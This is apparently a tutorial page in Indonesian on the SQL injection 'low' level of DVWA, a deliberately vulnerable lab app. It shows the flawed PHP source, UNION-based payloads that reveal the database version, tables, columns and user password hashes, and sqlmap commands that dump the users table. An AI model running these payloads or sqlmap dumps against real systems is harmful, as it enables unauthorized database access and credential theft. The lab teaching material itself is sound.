Low
SQL Injection level Low on DVWA
Di bawah ini adalah source-code dari SQL Injection level low di DVWA.
vulnerabilities/sqli/source/low.php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
Mencari Informasi
Terdapat form yang digunakan untuk memasukkan User ID. Jika saya coba inputkan '1
', maka akan muncul seperti berikut:

Untuk mencari tahu apakah form ini memiliki celah SQL Injection, kita bisa mencobanya dengan meng-inputkan kutip satu ('
) .

Dan hasilnya akan terdapat error. Ini berarti kita bisa melakukan SQL Injection.
Jika anda bertanya kenapa hasilnya bisa error? Jawabanya adalah karena ketika kita menginputkan kutip satu, maka query yang dijalankan oleh server akan seperti berikut:
SELECT first_name, last_name FROM users WHERE user_id = ''';
Terlihat bahwa ada kutip satu yang tidak memiliki pasangannya, sehingga membuat query menjadi error.
Melakukan Serangan
Setelah ditentukan terdapat celah keamanan, kita coba inputkan payload berikut:
%' or '0' = '0
Sehingga hasil query yang dijalankan server adalah:
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0' = '0';
Ini akan mengakibatkan semua record tersedia pada tabel tersebut akan ditampilkan.

Melihat Versi DBMS
Kita juga bisa memodifikasi payload-nya. Contohnya seperti berikut untuk melihat informasi versi DBMS yang digunakan.
%' or 0=0 union select null, version() #
Tanda#
pada sql berfungsi untuk membuat komentar.
Sehingga hasil query yang dijalankan server adalah:
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';

Terlihat bahwa DBMS yang dipakai adalah MariaDB versi 10.1.26.
Melihat Tabel yang mengandung kata 'user'
%' or 0=0 UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables WHERE table_name LIKE 'user' #

Melihat Kolom dari Tabel 'users'
%' UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'#

Mendapatkan users dan password
%' UNION SELECT null, concat(user,0x0a,password) FROM users#
0x0a pada hexadesimal berarti 10, dan jika dirubah menjadi ASCII berarti newline (lihat di sini).
Menggunakan SQLMap
Jika kalian tidak mau bingung dengan query di atas, kita bisa menggunakan tool SQLMap.
Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah GET
. Dan endpoint pada kasus ini adalah:
http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#
Cek database yang tersedia:
Langsung saja kita jalankan SQLMap seperti berikut untuk mencari tahu database yang tersedia:
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" --dbs
Keterangan:
-u
digunakan untuk menentukan URL atau endpoint.--cookie
digunakan untuk menetukan cookie.--dbs
digunakan untuk melihat database yang tersedia.

Hasilnya terdapat 2 database yang tersedia, yaitu dvwa dan information_schema.
Cek daftar tabel dari database dvwa:
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa --tables
Keterangan:
-D
digunakan untuk menentukan database.--tables
untuk melihat daftar tabel dari database (-D
).

Terdapat 2 tabel, yaitu guestbook dan users.
Cek kolom yang tersdia pada tabel users:
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --columns
Keterangan:
-T
adalah tabel yang digunakan dari database-D
.--columns
adalah mencari kolom yang tersedia pada tabel-T
.

Terlihat ada beberapa kolom yang tersedia, oke kita lanjut dengan melakukan dump pada data tersebut.
Dump tabel users:
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --dump
Keterangan:
--dump
akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMap atau dictionary kita sendiri.

Dan hasil nya adalah seperti gambar di atas.
Last updated
Was this helpful?